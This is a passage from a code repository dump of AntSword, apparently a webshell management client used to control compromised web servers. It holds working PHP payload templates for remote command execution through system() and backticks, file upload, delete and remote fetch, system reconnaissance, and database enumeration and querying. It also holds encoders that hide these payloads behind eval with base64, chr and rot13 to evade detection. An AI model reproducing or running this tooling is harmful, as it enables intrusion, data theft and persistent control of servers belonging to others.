   // HTTP请求返回字节流\n        .on(`request-chunk-${hash}`, (event, ret) => {\n          return chunkCallBack ? chunkCallBack(ret) : null;\n        })\n        // 数据请求错误\n        .once(`request-error-${hash}`, (event, ret) => {\n          return rej(ret);\n        })\n        // 发送请求数据\n        .send('request', {\n          url: this.__opts__['url'],\n          hash: hash,\n          data: opt['data'],\n          tag_s: opt['tag_s'],\n          tag_e: opt['tag_e'],\n          encode: this.__opts__['encode'],\n          ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1,\n          timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),\n          headers: (this.__opts__['httpConf'] || {})['headers'] || {},\n          body: (this.__opts__['httpConf'] || {})['body'] || {}\n        });\n    })\n  }\n\n  /**\n   * 文件下载专用函数（因有些文件过大，导致Electron出错\n   * @param  {String} savePath         保存文件路径\n   * @param  {Object} postCode         提交数据\n   * @param  {Function} progressCallback 进度回调\n   * @return {Promise}                  Promise操作对象\n   */\n  download(savePath, postCode, progressCallback) {\n    const opt = this.complete(postCode);\n    return new Promise((ret, rej) => {\n      // 随机ID(用于监听数据来源)\n      const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_');\n      // 监听数据返回\n      antSword['ipcRenderer']\n        // 请求完毕返回数据(size)\n        .once(`download-${hash}`, (event, size) => {\n          return ret(size);\n        })\n        // HTTP请求返回字节流大小\n        .on(`download-progress-${hash}`, (event, size) => {\n          return progressCallback ? progressCallback(size) : null;\n        })\n        // 数据请求错误\n        .once(`download-error-${hash}`, (event, ret) => {\n          throw new Error(ret);\n        })\n        // 发送请求数据\n        .send('download', {\n          url: this.__opts__['url'],\n          hash: hash,\n          path: savePath,\n          data: opt['data'],\n          tag_s: opt['tag_s'],\n          tag_e: opt['tag_e'],\n          encode: this.__opts__['encode']\n        });\n    })\n  }\n}\n\n// export default Base;\nmodule.exports = Base;\n"
  },
  {
    "path": "antSword/source/core/custom/encoder/base64.js",
    "content": "// \n// custom::base64 编码模块\n// \n// :把除了密码的其他参数都base64编码一次\n// \n\n'use strict';\n\nmodule.exports = (pwd, data) => {\n  let ret = {};\n  for (let _ in data) {\n    if (_ === '_') { continue };\n    ret[_] = new Buffer(data[_]).toString('base64');\n  }\n  ret[pwd] = data['_'];\n  return ret;\n}"
  },
  {
    "path": "antSword/source/core/custom/encoder/hex.js",
    "content": "// \n// 16进制编码模块\n// \n\n'use strict';\n\nmodule.exports = (pwd, data) => {\n  let ret = {};\n  for (let _ in data) {\n    if (_ === '_') { continue };\n    ret[_] = new Buffer(data[_]).toString('hex');\n  }\n  ret[pwd] = data['_'];\n  return ret;\n}"
  },
  {
    "path": "antSword/source/core/custom/index.js",
    "content": "/**\n * CUSTOM服务端脚本模板\n * 开写：2016/04/12\n * 更新：-\n * 作者：蚁逅 <https://github.com/antoor>\n */\n'use strict';\n\n// import Base from '../base';\nconst Base = require('../base');\n\nclass CUSTOM extends Base {\n  constructor(opts) {\n    super(opts);\n    // 解析模板\n    [\n      'base', 'command', 'filemanager',\n      'database/sqlserver', 'database/mysql', 'database/oracle'\n    ].map((_) => {\n      this.parseTemplate(`./custom/template/${_}`);\n    });\n    // 解析编码器\n    this.encoders.map((_) => {\n      this.parseEncoder(`./custom/encoder/${_}`);\n    });\n  }\n\n  /**\n   * 获取编码器列表\n   * @return {array} 编码器列表\n   */\n  get encoders() {\n    return ['base64','hex'];\n  }\n\n  /**\n   * HTTP请求数据组合函数\n   * @param  {Object} data 通过模板解析后的代码对象\n   * @return {Promise}     返回一个Promise操作对象\n   */\n  complete(data) {\n    // 分隔符号\n    let tag_s = '->|';\n    let tag_e = '|<-';\n\n    // 使用编码器进行处理并返回\n    return this.encodeComplete(tag_s, tag_e, data);\n  }\n}\n\nmodule.exports = CUSTOM;\n"
  },
  {
    "path": "antSword/source/core/custom/template/base.js",
    "content": "//\n// 基础信息模板\n// 获取：当前路径、磁盘列表\n//\n\nmodule.exports = () => ({\n  info: 'A'\n})\n"
  },
  {
    "path": "antSword/source/core/custom/template/command.js",
    "content": "//\n// 命令执行模板\n//\n\nmodule.exports = () => ({\n  exec: {\n    _: 'M',\n    'z1': '#{bin}',\n    'z2': '#{cmd}'\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/custom/template/database/default.js",
    "content": "//\n// 默认代码模板\n//\n// @params\n// :encode  SHELL编码\n// :conn    数据库连接字符串\n// :sql     执行SQL语句\n// :db      数据库名\n// :table   表名\n\nmodule.exports = () => ({\n  show_databases: {\n    _: 'N',\n    'z0': '#{encode}',\n    'z1': '#{conn}'\n  },\n  show_tables: {\n    _: 'O',\n    'z0': '#{encode}',\n    'z1': '#{conn}',\n    'z2': '#{db}'\n  },\n  show_columns: {\n    _: 'P',\n    'z0': '#{encode}',\n    'z1': '#{conn}',\n    'z2': '#{db}',\n    'z3': '#{table}'\n  },\n  query: {\n    _: 'Q',\n    'z0': '#{encode}',\n    'z1': '#{conn}',\n    'z2': '#{sql}'\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/custom/template/database/mysql.js",
    "content": "/*\n<T>XDB</T>\n<X>\ncom.mysql.jdbc.Driver\njdbc:mysql://localhost/test?user=root&password=123456\n</X>\n*/\n\nmodule.exports = require('./default');"
  },
  {
    "path": "antSword/source/core/custom/template/database/oracle.js",
    "content": "/*\n<T>XDB</T>\n<X>\noracle.jdbc.driver.OracleDriver\njdbc:oracle:thin:user/password@127.0.0.1:1521/test\n</X>\n*/\n\nmodule.exports = require('./default');"
  },
  {
    "path": "antSword/source/core/custom/template/database/sqlserver.js",
    "content": "/*\n<T>XDB</T>\n<X>\ncom.microsoft.sqlserver.jdbc.SQLServerDriver\njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456\n</X>\n*/\n\nmodule.exports = require('./default');"
  },
  {
    "path": "antSword/source/core/custom/template/filemanager.js",
    "content": "//\n// 文件管理模板\n//\n\nmodule.exports = () => ({\n  dir: {\n    _: 'B',\n    'z1': '#{path}'\n  },\n\n  delete: {\n    _: 'E',\n    'z1': '#{path}'\n  },\n\n  create_file: {\n    _: 'D',\n    'z1': '#{path}',\n    'z2': '#{content}'\n  },\n\n  read_file: {\n    _: 'C',\n    'z1': '#{path}'\n  },\n\n  copy: {\n    _: 'H',\n    'z1': '#{path}',\n    'z2': '#{target}'\n  },\n\n  download_file: {\n    _: 'F',\n    'z1': '#{path}'\n  },\n\n  upload_file: {\n    _: 'U',\n    'z1': '#{path}',\n    'z2': '#{hex::content}'\n  },\n\n  rename: {\n    _: 'I',\n    'z1': '#{path}',\n    'z2': '#{name}'\n  },\n\n  retime: {\n    _: 'K',\n    'z1': '#{path}',\n    'z2': '#{time}'\n  },\n\n  mkdir: {\n    _: 'J',\n    'z1': '#{path}'\n  },\n\n  wget: {\n    _: 'L',\n    'z1': '#{url}',\n    'z2': '#{path}'\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/index.js",
    "content": "/**\n * 中国蚁剑::核心模块\n * 开写：2016/04/12\n * 更新：-\n * 作者：蚁逅 <https://github.com/antoor>\n */\n'use strict';\n\nclass Core {\n  /**\n   * AntSword Core init\n   * @return {object} 子模块操作对象\n   */\n  constructor() {\n    // 加载子模块列表\n    let cores = {};\n    ['php', 'asp', 'aspx', 'custom'].map((_) => {\n      cores[_] = require(`./${_}/index`);\n    });\n    // 返回子模块对象\n    return cores;\n  }\n}\n\nmodule.exports = new Core();\n"
  },
  {
    "path": "antSword/source/core/php/encoder/base64.js",
    "content": "/**\n * php::base64编码器\n * ? 利用php的base64_decode进行编码处理\n */\n\n'use strict';\n\nmodule.exports = (pwd, data) => {\n  // 生成一个随机变量名\n  let randomID = `_0x${Math.random().toString(16).substr(2)}`;\n  data[randomID] = new Buffer(data['_']).toString('base64');\n  data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;\n  delete data['_'];\n  return data;\n}\n"
  },
  {
    "path": "antSword/source/core/php/encoder/chr.js",
    "content": "/**\n * php::chr编码器\n * ? 利用php的chr函数进行编码处理\n */\n\n'use strict'\n\nmodule.exports = (pwd, data) => {\n  // 编码函数\n  const encode = (php) => {\n    let ret = [];\n    let i = 0;\n    while(i < php.length) {\n      ret.push(php[i].charCodeAt());\n      i ++;\n    }\n    return `eVAl(cHr(${ret.join(').ChR(')}));`;\n  }\n\n  // 编码并去除多余数据\n  data[pwd] = encode(data._);\n  delete data._;\n\n  // 返回数据\n  return data;\n}\n"
  },
  {
    "path": "antSword/source/core/php/encoder/chr16.js",
    "content": "/**\n * php::chr16编码器\n * ? 利用php的chr函数进行编码处理\n */\n\n'use strict'\n\nmodule.exports = (pwd, data) => {\n  // 编码函数\n  const encode = (php) => {\n    let ret = [];\n    let i = 0;\n    while(i < php.length) {\n      ret.push(php[i].charCodeAt().toString(16));\n      i ++;\n    }\n    return `eVAl(cHr(0x${ret.join(').ChR(0x')}));`;\n  }\n\n  // 编码并去除多余数据\n  data[pwd] = encode(data._);\n  delete data._;\n\n  // 返回数据\n  return data;\n}\n"
  },
  {
    "path": "antSword/source/core/php/encoder/rot13.js",
    "content": "/**\n * php::str_rot13编码器\n * ? 利用php的 rot13 进行编码处理\n */\n\n\n'use strict';\n\nmodule.exports = (pwd, data) => {\n  const encode = (s) => {\n    //use a Regular Expression to Replace only the characters that are a-z or A-Z\n    return s.replace(/[a-zA-Z]/g, function (c) {\n        //Get the character code of the current character and add 13 to it\n        //If it is larger than z's character code then subtract 26 to support wrap around.\n        return String.fromCharCode((c <= \"Z\" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);\n    });\n}\n\n  // 生成一个随机变量名\n  let randomID = `_0x${Math.random().toString(16).substr(2)}`;\n  data[randomID] = encode(data['_']);\n  data[pwd] = `eval(str_rot13($_POST[${randomID}]));`;\n  delete data['_'];\n  return data;\n}\n"
  },
  {
    "path": "antSword/source/core/php/index.js",
    "content": "/**\n * PHP服务端脚本模板\n * 开写：2016/04/12\n * 更新：-\n * 作者：蚁逅 <https://github.com/antoor>\n */\n'use strict';\n\n// import Base from '../base';\nconst Base = require('../base');\n\nclass PHP extends Base {\n  constructor(opts) {\n    super(opts);\n    // 解析模板\n    [\n      'base', 'command', 'filemanager',\n      'database/mysql',\n      'database/mysqli',\n      'database/mssql',\n      'database/oracle',\n      'database/informix'\n    ].map((_) => {\n      this.parseTemplate(`./php/template/${_}`);\n    });\n    // 解析编码器\n    this.encoders.map((_) => {\n      this.parseEncoder(`./php/encoder/${_}`);\n    });\n  }\n\n  /**\n   * 获取编码器列表\n   * ? 可以在antSword.core.php.prototype.encoders中获取此变量\n   * @return {array} 编码器列表\n   */\n  get encoders() {\n    return [\"base64\", \"chr\", \"chr16\", \"rot13\"];\n  }\n\n  /**\n   * HTTP请求数据组合函数\n   * @param  {Object} data 通过模板解析后的代码对象\n   * @return {Promise}     返回一个Promise操作对象\n   */\n  complete(data) {\n    // 分隔符号\n    let tag_s = \"->|\";\n    let tag_e = \"|<-\";\n\n    // 组合完整的代码\n    let tmpCode = data['_'];\n    data['_'] = `@ini_set(\"display_errors\", \"0\");@set_time_limit(0);header('HTTP/1.1 200 OK');echo \"${tag_s}\";${tmpCode};echo \"${tag_e}\";die();`;\n\n    // 使用编码器进行处理并返回\n    return this.encodeComplete(tag_s, tag_e, data);\n  }\n}\n\nmodule.exports = PHP;\n"
  },
  {
    "path": "antSword/source/core/php/template/base.js",
    "content": "/**\n * 基础信息模板\n * ? 获取系统信息、当前用户、当前路径、盘符列表\n */\n\nmodule.exports = () => ({\n  info:\n    `$D=dirname($_SERVER[\"SCRIPT_FILENAME\"]);if($D==\"\")$D=dirname($_SERVER[\"PATH_TRANSLATED\"]);$R=\"{$D}\\t\";if(substr($D,0,1)!=\"/\"){foreach(range(\"C\",\"Z\")as $L)if(is_dir(\"{$L}:\"))$R.=\"{$L}:\";}else{$R.=\"/\";}$R.=\"\\t\";$u=(function_exists(\"posix_getegid\"))?@posix_getpwuid(@posix_geteuid()):\"\";$s=($u)?$u[\"name\"]:@get_current_user();$R.=php_uname();$R.=\"\\t{$s}\";echo $R;`\n})\n"
  },
  {
    "path": "antSword/source/core/php/template/command.js",
    "content": "/**\n * 虚拟终端命令执行\n */\n\nmodule.exports = (arg1, arg2) => ({\n  exec: {\n    _:\n      `$p=base64_decode($_POST[\"${arg1}\"]);$s=base64_decode($_POST[\"${arg2}\"]);$d=dirname($_SERVER[\"SCRIPT_FILENAME\"]);$c=substr($d,0,1)==\"/\"?\"-c \\\\\"{$s}\\\\\"\":\"/c \\\\\"{$s}\\\\\"\";$r=\"{$p} {$c}\";@system($r.\" 2>&1\",$ret);print ($ret!=0)?\"ret={$ret}\":\"\";`,\n    [arg1]: \"#{base64::bin}\",\n    [arg2]: \"#{base64::cmd}\"\n  },\n\n  quote: {\n    _:\n      `$p=base64_decode($_POST[\"${arg1}\"]);$s=base64_decode($_POST[\"${arg2}\"]);$d=dirname($_SERVER[\"SCRIPT_FILENAME\"]);$c=substr($d,0,1)==\"/\"?\"-c \\\\\"{$s}\\\\\"\":\"/c \\\\\"{$s}\\\\\"\";$r=\"{$p} {$c}\";echo \\`{$r} 2>&1\\``,\n    [arg1]: \"#{base64::bin}\",\n    [arg2]: \"#{base64::cmd}\"\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/php/template/database/informix.js",
    "content": "/**\n * 数据库管理模板::informix\n * i 数据分隔符号 => \\t|\\t\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query(\"SELECT username FROM SYSUSERS WHERE usertype='D' ORDER BY username\",$T);echo(\"informix\".chr(9));while($rs=@ifx_fetch_row($q)){echo(trim($rs[username]).chr(9));}@ifx_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query(\"SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname\",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}'\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query(\"SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname\",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$sql=base64_decode($_POST[\"${arg5}\"]);$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query($sql,$T);$i=0;while($rs=@ifx_fetch_row($q)){if($i==0){for(reset($rs);$f=key($rs);next($rs)){echo($f.\"\\t|\\t\");}echo(\"\\r\\n\");}for(reset($rs);$f=key($rs);next($rs)){echo(base64_encode(trim($rs[$f])));echo(\"\\t|\\t\");}echo(\"\\r\\n\");$i++;}@ifx_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}',\n    [arg5]: '#{base64::sql}'\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/php/template/database/mssql.js",
    "content": "/**\n * 数据库管理模板::mssql\n * i 数据分隔符号 => \\t|\\t\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$T=@mssql_connect($hst,$usr,$pwd);$q=@mssql_query(\"select [name] from master.dbo.sysdatabases order by 1\",$T);while($rs=@mssql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mssql_free_result($q);@mssql_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$T=@mssql_connect($hst,$usr,$pwd);@mssql_select_db($dbn,$T);$q=@mssql_query(\"SELECT [name] FROM sysobjects WHERE (xtype='U' OR xtype='S') ORDER BY 1\",$T);while($rs=@mssql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mssql_free_result($q);@mssql_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}'\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$tab=$m?stripslashes($_POST[\"${arg5}\"]):$_POST[\"${arg5}\"];$T=@mssql_connect($hst,$usr,$pwd);@mssql_select_db($dbn,$db);$q=@mssql_query(\"SELECT TOP 1 * FROM {$tab}\",$T);while($rs=@mssql_fetch_field($q)){echo(trim($rs->name).\" (\".$rs->type.\")\".chr(9));}@mssql_free_result($q);@mssql_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}',\n    [arg5]: '#{table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$sql=base64_decode($_POST[\"${arg5}\"]);$T=@mssql_connect($hst,$usr,$pwd);@mssql_select_db($dbn,$db);$q=@mssql_query($sql,$T);$i=0;while($rs=@mssql_fetch_field($q)){echo($rs->name.\"\\t|\\t\");$i++;}echo(\"\\r\\n\");while($rs=@mssql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo(\"\\t|\\t\");}echo(\"\\r\\n\");}@mssql_free_result($q);@mssql_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}',\n    [arg5]: '#{base64::sql}'\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/php/template/database/mysql.js",
    "content": "/**\n * 数据库管理模板::mysql\n * i 数据分隔符号 => \\t|\\t\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query(\"SHOW DATABASES\");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query(\"SHOW TABLES FROM \\`{$dbn}\\`\");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}'\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$tab=$m?stripslashes($_POST[\"${arg5}\"]):$_POST[\"${arg5}\"];$T=@mysql_connect($hst,$usr,$pwd);@mysql_select_db( $dbn, $T);$q=@mysql_query(\"SHOW COLUMNS FROM \\`{$tab}\\`\");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).\" (\".$rs[1].\")\".chr(9));}@mysql_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}',\n    [arg5]: '#{table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$sql=base64_decode($_POST[\"${arg5}\"]);$T=@mysql_connect($hst,$usr,$pwd);@mysql_query(\"SET NAMES ${arg6}\");@mysql_select_db($dbn, $T);$q=@mysql_query($sql);if(is_bool($q)){echo(\"Status\\t|\\t\\r\\n\".($q?\"VHJ1ZQ==\":\"RmFsc2U=\").\"\\t|\\t\\r\\n\");}else{$i=0;while($col=@mysql_fetch_field($q)){echo($col->name.\"\\t|\\t\");$i++;}echo(\"\\r\\n\");while($rs=@mysql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo(\"\\t|\\t\");}echo(\"\\r\\n\");}}@mysql_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}',\n    [arg5]: '#{base64::sql}',\n    [arg6]: '#{encode}'\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/php/template/database/mysqli.js",
    "content": "/**\n * 数据库管理模板::mysql\n * i 数据分隔符号 => \\t|\\t\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$T=@mysqli_connect($hst,$usr,$pwd);$q=@mysqli_query($T,\"SHOW DATABASES\");while($rs=@mysqli_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysqli_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$T=@mysqli_connect($hst,$usr,$pwd);$q=@mysqli_query($T, \"SHOW TABLES FROM \\`{$dbn}\\`\");while($rs=@mysqli_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysqli_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}'\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$tab=$m?stripslashes($_POST[\"${arg5}\"]):$_POST[\"${arg5}\"];$T=@mysqli_connect($hst,$usr,$pwd);@mysqli_select_db($T, $dbn);$q=@mysqli_query($T, \"SHOW COLUMNS FROM \\`{$tab}\\`\");while($rs=@mysqli_fetch_row($q)){echo(trim($rs[0]).\" (\".$rs[1].\")\".chr(9));}@mysqli_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}',\n    [arg5]: '#{table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST[\"${arg1}\"]):$_POST[\"${arg1}\"];$usr=$m?stripslashes($_POST[\"${arg2}\"]):$_POST[\"${arg2}\"];$pwd=$m?stripslashes($_POST[\"${arg3}\"]):$_POST[\"${arg3}\"];$dbn=$m?stripslashes($_POST[\"${arg4}\"]):$_POST[\"${arg4}\"];$sql=base64_decode($_POST[\"${arg5}\"]);$T=@mysqli_connect($hst,$usr,$pwd);@mysqli_query($T,\"SET NAMES ${arg6}\");@mysqli_select_db($T,$dbn);$q=@mysqli_query($T,$sql);if(is_bool($q)){echo(\"Status\\t|\\t\\r\\n\".($q?\"VHJ1ZQ==\":\"RmFsc2U=\").\"\\t|\\t\\r\\n\");}{$i=0;while($col=@mysqli_fetch_field($q)){echo($col->name.\"\\t|\\t\");$i++;}echo(\"\\r\\n\");while($rs=@mysqli_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo(\"\\t|\\t\");}echo(\"\\r\\n\");}}@mysqli_close($T);`,\n    [arg1]: '#{host}',\n    [arg2]: '#{user}',\n    [arg3]: '#{passwd}',\n    [arg4]: '#{db}',\n    [arg5]: '#{base64::sql}',\n    [arg6]: '#{encode}'\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/php/template/database/oracle.js",
